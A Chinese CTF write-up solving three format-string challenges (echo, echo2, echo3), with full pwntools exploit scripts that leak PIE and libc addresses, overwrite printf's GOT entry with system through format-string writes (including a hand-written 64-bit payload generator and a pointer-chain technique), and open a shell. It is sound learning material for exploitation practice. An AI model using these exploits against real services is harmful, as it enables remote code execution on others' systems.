[Hackme.inndy]echo/echo2/echo3

0x00 前言

通过三道格式化字符串的题目学习巩固格式化字符串漏洞的利用

这是[Hackme.inndy]的题目,在BUUOJ上也能找得到。

做这三道题目用了不少时间,仔细想想,还是因为最开始学格式化字符串的时候没学扎实,漏了挺多细节,导致题目打不通。

不过虽然用了不少时间,但是收获还是非常多的。

0x01 echo

这是三道题目里面最简单的一道。

分析

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

很明显存在格式化字符串漏洞。

思路

由于是32位程序,可以直接利用pwntools的fmtstr_payload模块构造payload,覆盖printf_gotsystem_plt,然后sendline('/bin/sh')即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *

#c = process('./echo')
c = remote('node3.buuoj.cn',29729)
elf = ELF('./echo')


printf = elf.got['printf']
system = elf.plt['system']

payload = fmtstr_payload(7,{printf:system})

c.sendline(payload)

c.sendline('/bin/sh')

c.interactive()

0x02 echo2

这道题相比第一道要有些难度了。

分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

可以看到程序开启了PIE且是64位程序。

所以要先泄露程序真正的加载地址,然后再覆盖printf_gotsystem_plt

不过这里不能再用pwntools的fmtstr_payload模块了,因为64位程序的地址容易出现’\x00’造成截断。

Do it!

泄露程序加载地址

可以在IDA中看到call printf的地址为0x984,这是相对偏移,gdb下断在此处然后查看栈的情况如下:

能够看到0x7fffffffde48存放着main+740x7fffffffde58存放着__libc_start_main+240

调试可以知道这两处分别对应%41$p%43$p

通过pie命令可以知道程序加载基址为0x555555554000,这和我们的main+74正好相差0xa03,由此可以泄露出程序加载基址。

1
2
3
4
5
6
7
8
9
10
11
12
payload = '%41$p---' + '%43$p...'
c.sendline(payload)
elfbase = int(c.recvuntil('---',drop = True),16) - 0xa03
l_s_m_addr = int(c.recvuntil('...',drop = True),16) - 240
#libc = LibcSearcher('__libc_start_main',l_s_m_addr)
#libcbase = l_s_m_addr - libc.dump('__libc_start_main')

system = elf.plt['system'] + elfbase
#system = libcbase + libc.dump('system')
printf = elf.got['printf'] + elfbase
success('printf = ' + hex(printf))
success('system = ' + hex(system))

实际上只需要泄露出elfbase即可,但是大多数wp都同时泄露了__libc_start_main进而泄露libcbase,然后通过libcbase+libc.dump(‘system’)来得到system地址

根据注释应该能看出来这是两种方法,通过测试这两种方法都是可以打通的

构造payload&getshell

这算是第一次接触64位的格式化字符串漏洞吧,之前打32位的时候一直用的fmtstr_payload,现在没法用它,感觉少了些什么。

第一次打的时候是手动构造的payload,但是懒惰成为了第一生产力,我在网上搜了两个64位的fmtstr_payload,其中一个完全不能用,还有一个这道题能用,但是别的题好像就不行了。放一下链接

这道题可用

完全打不通

无奈只能仿照着这俩自己写了一个,虽然也是有一定的局限性,还可能有bug,但我测了好几组样例,都正常,当然还有一些地方可以优化,但是太懒了,就懒得鼓捣了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def fmtstr_payload64(offset, src, data,type = 'byte'):
"""
生成 64 位格式化字符串payload
offset: 偏移
src: 源地址
data: 欲写入内容
type: 目前只支持int、longlong、byte类型,默认为byte
"""
payload = ''
data = hex(data).replace('L','')
if type == 'int':
dataLen = 8
elif type == 'longlong':
dataLen = 16
else:
dataLen = len(data[2:]) if len(data[2:])%2==0 else len(data[2:])+1
x = (dataLen/2)*12/8 if (dataLen/2)*12%8 == 0 else (dataLen/2)*12/8 + 1
data = data[2:].rjust(16,'0')
curNum = 0
index = 0
while index<dataLen/2:
num = data[-2-(index*2):] if index == 0 else data[-2-(index*2):0-(index*2)]
num = int(num,16)
if index == 0:
payload += '%' + str(num) + 'c%' + str(offset + x + index) + '$hhn'
curNum = num
else:
if num <= (curNum&0xff):
payload += '%' + str(num + 0x100*(curNum/0x100 + 1) - curNum) + 'c%' + str(offset + x + index) + '$hhn'
curNum = num + 0x100*(curNum/0x100 + 1)
else:
payload += '%' + str(num + 0x100*(curNum/0x100) - curNum) + 'c%' + str(offset + x + index) + '$hhn'
curNum = num + 0x100*(curNum/0x100 )
index += 1
payload = payload.ljust(8*x,'a')
index = 0
while index<dataLen/2:
payload += p64(src + index)
index += 1
return payload

然后覆盖就行了。

1
2
3
4
5
payload = fmtstr_payload64(offset,printf,system)
sleep(1)
c.sendline(payload)
c.sendline('/bin/sh\x00')
c.interactive()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#coding:utf-8
from pwn import *
from LibcSearcher import *
context(arch = 'amd64',os = 'linux')

def fmtstr_payload64(offset, src, data,type = 'byte'):
"""
生成 64 位格式化字符串payload
offset: 偏移
src: 源地址
data: 欲写入内容
type: 目前只支持int、longlong、byte类型,默认为byte
"""
payload = ''
data = hex(data).replace('L','')
if type == 'int':
dataLen = 8
elif type == 'longlong':
dataLen = 16
else:
dataLen = len(data[2:]) if len(data[2:])%2==0 else len(data[2:])+1
x = (dataLen/2)*12/8 if (dataLen/2)*12%8 == 0 else (dataLen/2)*12/8 + 1
data = data[2:].rjust(16,'0')
curNum = 0
index = 0
while index<dataLen/2:
num = data[-2-(index*2):] if index == 0 else data[-2-(index*2):0-(index*2)]
num = int(num,16)
if index == 0:
payload += '%' + str(num) + 'c%' + str(offset + x + index) + '$hhn'
curNum = num
else:
if num <= (curNum&0xff):
payload += '%' + str(num + 0x100*(curNum/0x100 + 1) - curNum) + 'c%' + str(offset + x + index) + '$hhn'
curNum = num + 0x100*(curNum/0x100 + 1)
else:
payload += '%' + str(num + 0x100*(curNum/0x100) - curNum) + 'c%' + str(offset + x + index) + '$hhn'
curNum = num + 0x100*(curNum/0x100 )
index += 1
payload = payload.ljust(8*x,'a')
index = 0
while index<dataLen/2:
payload += p64(src + index)
index += 1
return payload

#c = process('./echo2')
elf = ELF('./echo2')
c = remote('node3.buuoj.cn',28145)
offset = 6

payload = '%41$p---' + '%43$p...'
sleep(1)

c.sendline(payload)
elfbase = int(c.recvuntil('---',drop = True),16) - 0xa03
l_s_m_addr = int(c.recvuntil('...',drop = True),16) - 240

#libc = LibcSearcher('__libc_start_main',l_s_m_addr)
#libcbase = l_s_m_addr - libc.dump('__libc_start_main')

system = elf.plt['system'] + elfbase
#system = libcbase + libc.dump('system')
printf = elf.got['printf'] + elfbase
success('printf = ' + hex(printf))
success('system = ' + hex(system))

payload = fmtstr_payload64(offset,printf,system)
sleep(1)
c.sendline(payload)

#gdb.attach(c)
sleep(1)
c.sendline('/bin/sh\x00')

c.interactive()

0x03 echo3

这道题的远程快给我打吐了。

应该是BUU上面环境没配置好,远程怎么都打不通,各种exp都试了也不行,但是远程打题目原平台hackme.inndy却能打通。。。

分析

第一次接触这类Fmt_bss类型的格式化字符串题目。和前两道题目相比,这道题目

  1. buf在bss段
  2. main函数有一处调用了alloca,alloca的参数是个随机值,然后sub esp, eax使得esp被减一个随机的值,导致栈地址比较随机。

这两点我都是第一次接触,做起来用了挺长时间。

查阅了大量WP以后,得知这类型(Fmt_bss)的题目有一个套路,就是找跳板,然后覆盖printf_gotsystem。再传入/bin/sh

找跳板的原因?

找跳板的原因?:对于%ac$xna为个数,x是偏移,如果此处地址里面存放的依旧是个指针(地址),那么会向里面存放的指针所指向的地方写入数据。

即 A->B->C,A和B都是地址,则最后数据会写到C处。

Do it!

写在前面

在开始之前,有一点需要了解:在打本地的时候,程序默认加载的是本地默认libc,但是打远程的时候,程序则加载远程默认libc。这道题目原题作者给了libc-2.23.so.i386这个libc和我们正常的libc-2.23.so.i386不太一样。但是使用不同的libc运行时,栈结构有差异,而我们找跳板正是利用了栈结构的一些特性,所以在本地调试的时候就需要通过指定libc,产生与远程相同的栈结构

遇到的困难 (未解决)//3月19号已解决。

非常不幸,尽管我已经下载下来了作者提供的libc-2.23.so.i386,但是我依旧没办法让程序优先加载这个libc,试了许多方法,包括设置LD_PRELOADprocess('./echo3',env = {"LD_PRELOAD": "./libc-2.23.so.i386"})软链接(这么做之前一定要备份原有的libc)删掉/lib/i386-linux-gnu/libc-2.23.so和libc.so.6,然后用作者给的libc替换libc-2.23.so,然后再用软链接搞出来libc.so.6

这些方法都会导致各种各样的报错,比如段错误、不能加载libc-2.23.so.i386之类的。初步推测是这个libc-2.23.so.i386有点问题?

如果能在本地通过加载作者给的libc来调试,就能得到准确的偏移,远程应该也就能打得通了。

但是重在学习fmt_bss类题目的打法,拿不拿得到flag就不是那么重要了,本文将写本地打法

思路

程序本身没有system函数,所以需要先泄露libcbase,然后得到system函数。

同时也需要泄露栈地址,以便我们找跳板。

通过跳板修改printf_gotsystem

传入/bin/sh来getshell

泄露栈地址和libcbase

由于程序存在alloca并且sub esp, eax,会导致栈地址的变动。不过有一点非常有意思。

写个程序运算一下,可以发现alloca的参数只有如下可能

['0x10', '0x20', '0x30', '0x40', '0x50', '0x1010', '0x1020', '0x1030', '0x1040', '0x1050', '0x2010', '0x2020', '0x2030', '0x2040', '0x2050', '0x3010', '0x3020', '0x3030', '0x3040', '0x3050']

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
>0x20	4096	0.0330749354005
>0x1010 2048 0.0165374677003
>0x1050 2048 0.0165374677003
>0x1030 4096 0.0330749354005
>0x2010 2048 0.0165374677003
>0x30 4096 0.0330749354005
>0x50 2048 0.0165374677003
>0x40 4096 0.0330749354005
>0x3050 2047 0.0165293927649
>0x3010 2048 0.0165374677003
>0x2020 4096 0.0330749354005
>0x1040 4096 0.0330749354005
>0x1020 4096 0.0330749354005
>0x3020 4096 0.0330749354005
>0x10 2048 0.0165374677003
>0x2040 4096 0.0330749354005
>0x3030 4096 0.0330749354005
>0x3040 4096 0.0330749354005
>0x2050 2048 0.0165374677003
>0x2030 4096 0.0330749354005
>

从左到右依次是 16进制表示、10进制表示、出现概率。

我们可以通过多次尝试或者直接在exp里加入控制语句来让这个栈的减少值固定下来。

在此之前,先来调试一下,看看此时栈有什么特征,以便在exp加入控制语句。

gdb调试

1
2
3
08048774                 sub     esp, eax
...
08048646 call _printf

在这两处位置下断,执行到第一个断点的时候set $eax = 0x20,使得esp-=0x20,当然也可以选取别的值。

接着执行,到call printf的时候stack 100 查看栈情况。

能够看到__libc_start_main + 247,此时其偏移为43 可通过%43$p来打印出来。可以发现其特征为后三位为637,选取后三位是因为这三位是不变的,如果虚拟机开了ASLR,除了后三位以外,其他位置都有可能变。

通过这个能泄露出libcbase,但还需要泄露出栈地址,这里选择偏移为30的这一处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
context(arch = 'i386',os = 'linux')

while True:
#c = remote('hackme.inndy.tw',7720)
c = remote('node3.buuoj.cn',29736)
#c = process("./echo3")
sleep(0.1)
c.sendline('%43$p.%30$p=')
lsm = c.recvuntil('.',drop = True)
if lsm[-3:] == '637':
libc_start_main = int(lsm,16)-247
success('OK!')
success('lsm = ' + lsm)
addr = int(c.recvuntil('=',drop = True),16)
success('addr = ' + hex(addr))
break
c.close()

elf = ELF('./echo3')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')#for process()
#libc = ELF('./libc-2.23.so.i386')#for remote()
#libc = LibcSearcher('__libc_start_main',libc_start_main)
#libcbase = libc_start_main - libc.dump('__libc_start_main')
libcbase = libc_start_main - libc.symbols['__libc_start_main']
printf_got = elf.got['printf']
system = libcbase + libc.symbols['system']
success('printf_got = ' + hex(printf_got))
success('system = ' + hex(system))

找跳板

原理利用了之前讲到的A->B->C

由于刚才已经找到了位于30偏移的栈地址,其地址里存的是位于87偏移的地址,87偏移的地址里面存的是一些其他东西。

这道题比较巧,栈里面存在_GLOBAL_OFFSET_TABLE_可以覆盖其低位字节来让其指向printf_got。图中这两处偏移分别为20和21

所以跳板流程可以如下表示,为了看起来更舒服,这里用偏移来代替地址。。

这里_GLOBAL_OFFSET_TABLE_表示的是存放_GLOBAL_OFFSET_TABLE_的栈地址。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-----第一步,利用30-------
修改前
30->87->其他
修改后
30->87->21
-----第二步,利用87-------
修改前
87->21->_GLOBAL_OFFSET_TABLE_
修改后
87->21->printf_got
----第三步,利用21-------
修改前
21->printf_got
修改后
21->printf_got->system

可以看出,每一步,对应A->B->C中A和B位置的都是指针。

然而,这样由于printf反馈的数据太多了,大概会运行好几分钟。。。而如果打远程的话,恐怕没这么多时间,而且考虑网络因素,这样就算payload正确也很难打通吧

因此有了改进的payload,每次修改2字节,这样会大大降低数据量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
----第一步----借助30和31
修改前
30->87->其他
31->85->其他
修改后
30->87->20
31->85->21
----第二步----借助85和87
修改前
85->21->_GLOBAL_OFFSET_TABLE_
87->20->_GLOBAL_OFFSET_TABLE_+4
修改后
87->20->printf_got
85->21->printf_got + 2
----第三步----借助20和21
修改前
20->printf_got
21->printf_got + 2
修改后
20->printf_got->system后两字节
21->printf_got + 2->system前两字节

//关于这里字节的前后,更博的时候我自己都绕晕了...记录一下
[+] printf_got = 0x804a014
[+] system = 0xf7e3fda0

pwndbg> x/4x 0x804a014
0x804a014: 0xa0 0xfd 0xe3 0xf7
pwndbg> x/wx 0x804a014
0x804a014: 0xf7e3fda0
//应该能看明白吧

第二步挺巧妙的

1
2
14:00500xffffcfd0 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
15:00540xffffcfd4 —▸ 0x804a060 (magic) ◂— 0xadb5e79a

可以看到0xffffcfd0和0xffffcfd0+4所存的地址都是0x804axxx而正好_GLOBAL_OFFSET_TABLE_0x804a000不同函数got值前两字节是不变的,改变的只是后两字节,因此我们才有了每次修改两字节的方法。

这里还有一个细节,我们来看system。

[+] system = 0xf7e3fda0

可以看出 system的前两字节0xf7e3要小于后两字节0xfda0,再想想我们fmt_payload的构造方法,就能得知要先修改值小的前两字节,然后再修改后两字节。


所以得到代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
got_table = addr-0x10c
success('got_table = ' + hex(got_table))
payload = '%{}c%{}$hn'.format(got_table & 0xffff,30)
payload += '%{}c%{}$hn'.format(4 , 31) + '1111'
c.sendline(payload)

c.recvuntil('1111')
payload = '%{}c%{}$hn'.format(printf_got & 0xffff,87)
payload += '%{}c%{}$hn'.format(2,85) + '2222'
c.sendline(payload)

c.recvuntil('2222')
payload = '%{}c%{}$hn'.format((system>>16) & 0xffff,21)
payload += '%{}c%{}$hn'.format((system & 0xffff) - ((system>>16) & 0xffff),20) + '3333'
c.sendline(payload)

c.recvuntil('3333')


c.sendline('/bin/sh\x00')

c.interactive()

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#coding:utf-8
from pwn import *
from LibcSearcher import *
context(arch = 'i386',os = 'linux')


while True:
#c = remote('hackme.inndy.tw',7720)
#c = remote('node3.buuoj.cn',29736)
c = process("./echo3")
sleep(0.1)
c.sendline('%43$p.%30$p=')
lsm = c.recvuntil('.',drop = True)
if lsm[-3:] == '637':
libc_start_main = int(lsm,16)-247
success('OK!')
success('lsm = ' + lsm)
addr = int(c.recvuntil('=',drop = True),16)
success('addr = ' + hex(addr))
break
c.close()

elf = ELF('./echo3')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('./libc-2.23.so.i386')
#libc = LibcSearcher('__libc_start_main',libc_start_main)
#libcbase = libc_start_main - libc.dump('__libc_start_main')
libcbase = libc_start_main - libc.symbols['__libc_start_main']
printf_got = elf.got['printf']
system = libcbase + libc.symbols['system']
success('printf_got = ' + hex(printf_got))
success('system = ' + hex(system))
#sleep(3)

got_table = addr-0x10c
success('got_table = ' + hex(got_table))
payload = '%{}c%{}$hn'.format(got_table & 0xffff,30)
payload += '%{}c%{}$hn'.format(4 , 31) + '1111'
c.sendline(payload)

c.recvuntil('1111')
payload = '%{}c%{}$hn'.format(printf_got & 0xffff,87)
payload += '%{}c%{}$hn'.format(2,85) + '2222'
c.sendline(payload)

c.recvuntil('2222')
payload = '%{}c%{}$hn'.format((system>>16) & 0xffff,21)
payload += '%{}c%{}$hn'.format((system & 0xffff) - ((system>>16) & 0xffff),20) + '3333'
c.sendline(payload)

c.recvuntil('3333')

c.sendline('/bin/sh\x00')

c.interactive()

3月19日凌晨针对echo3的新更新

请教了一下大佬,关于之前为什么我没法指定题目给的libc来运行echo3,原来我姿势不对。

这里贴一下陈大佬的看雪文章陈老板的看雪文章

里面介绍了如何利用patchelf这个工具来更换程序libc。

主要命令就是两条,以这道题目的echo3libc-2.23.so.i386为例来说,我们还需要一个ld-2.23.so

!!!注意这个ld-2.23.so不能直接在/lib/i386-linux-gnu/ld-2.23.so取,这个会一直报段错误。。。被这个困扰了好长时间!多亏陈大佬提醒要去glibc all in one 里下载

然后我们通过patchelf来更换程序的libc

patchelf --set-interpreter ./ld-2.23.so ./echo3

patchelf --replace-needed libc.so.6 ./libc-2.23.so.i386 ./echo3

第一条指令是用来修改ld的,第二条指令是用来修改libc的。

改完以后是这样的。

本地又调了调,调好本地能打通了,但这在BUU上依旧没法打通,不过在hackme.inndy.tw上面打得通

只能说BUU上面的libc有些。。奇葩吧,拿不拿得到flag其实也就那样了,关键是通过这道题目学了好多东西,这要比拿再多的flag都要有意义。

和之前的exp相比,就改了一下改printf_got为system的顺序,因为换了libc以后,system的前两个字节要大于后两个字节。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#coding:utf-8
from pwn import *
from LibcSearcher import *
context(arch = 'i386',os = 'linux')


while True:
c = remote('hackme.inndy.tw',7720)
#c = remote('node3.buuoj.cn',27252)
#c = process("./echo3")
sleep(0.2)
c.sendline('%43$p.%30$p=')
lsm = c.recvuntil('.',drop = True)
if lsm[-3:] == '637':
libc_start_main = int(lsm,16)-247
success('OK!')
success('lsm = ' + lsm)
addr = int(c.recvuntil('=',drop = True),16)
success('addr = ' + hex(addr))
break
c.close()

elf = ELF('./echo3')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
libc = ELF('./libc-2.23.so.i386')
#libc = LibcSearcher('__libc_start_main',libc_start_main)
#libcbase = libc_start_main - libc.dump('__libc_start_main')
libcbase = libc_start_main - libc.symbols['__libc_start_main']
printf_got = elf.got['printf']
system = libcbase + libc.symbols['system']
success('printf_got = ' + hex(printf_got))
success('system = ' + hex(system))
sleep(1)

got_table = addr-0x10c
success('got_table = ' + hex(got_table))
payload = '%{}c%{}$hn'.format(got_table & 0xffff,30)
payload += '%{}c%{}$hn'.format(4 , 31) + '1111'
c.sendline(payload)

c.recvuntil('1111')
payload = '%{}c%{}$hn'.format(printf_got & 0xffff,87)
payload += '%{}c%{}$hn'.format(2,85) + '2222'
c.sendline(payload)

c.recvuntil('2222')
payload = '%{}c%{}$hn'.format(system & 0xffff,20)
payload += '%{}c%{}$hn'.format(((system>>16) & 0xffff) - (system & 0xffff) ,21) + '3333'
c.sendline(payload)
#gdb.attach(c)
c.recvuntil('3333')


c.sendline('/bin/sh\x00')

c.interactive()

3月19号下午针对echo3的新更新……

晚上做梦梦到好像有人告诉我这道题应该用LibcSearcher来弄libc…试了一下…果然可以!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#coding:utf-8
from pwn import *
from LibcSearcher import *
context(arch = 'i386',os = 'linux')


while True:
#c = remote('hackme.inndy.tw',7720)
c = remote('node3.buuoj.cn',25796)
#c = process("./echo3")
sleep(0.2)
c.sendline('%43$p.%30$p=')
lsm = c.recvuntil('.',drop = True)
if lsm[-3:] == '637':
libc_start_main = int(lsm,16)-247
success('OK!')
success('lsm = ' + lsm)
addr = int(c.recvuntil('=',drop = True),16)
success('addr = ' + hex(addr))
break
c.close()

elf = ELF('./echo3')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
#libc = ELF('./libc-2.23.so.i386')
libc = LibcSearcher('__libc_start_main',libc_start_main)
libcbase = libc_start_main - libc.dump('__libc_start_main')
#libcbase = libc_start_main - libc.symbols['__libc_start_main']
printf_got = elf.got['printf']
#system = libcbase + libc.symbols['system']
system = libcbase + libc.dump('system')
success('printf_got = ' + hex(printf_got))
success('system = ' + hex(system))
sleep(1)

got_table = addr-0x10c
success('got_table = ' + hex(got_table))
payload = '%{}c%{}$hn'.format(got_table & 0xffff,30)
payload += '%{}c%{}$hn'.format(4 , 31) + '1111'
c.sendline(payload)

c.recvuntil('1111')
payload = '%{}c%{}$hn'.format(printf_got & 0xffff,87)
payload += '%{}c%{}$hn'.format(2,85) + '2222'
c.sendline(payload)

c.recvuntil('2222')
payload = '%{}c%{}$hn'.format(system & 0xffff,20)
payload += '%{}c%{}$hn'.format(((system>>16) & 0xffff) - (system & 0xffff) ,21) + '3333'
c.sendline(payload)
#gdb.attach(c)
c.recvuntil('3333')


c.sendline('/bin/sh\x00')

c.interactive()

libc选的这个

0x04 参考链接

博客园

传送门

先知社区

Freebuf

先知社区

简书

传送门

传送门


和指定libc有关的参考链接

CSDN

传送门

陈老板的看雪文章

patchelf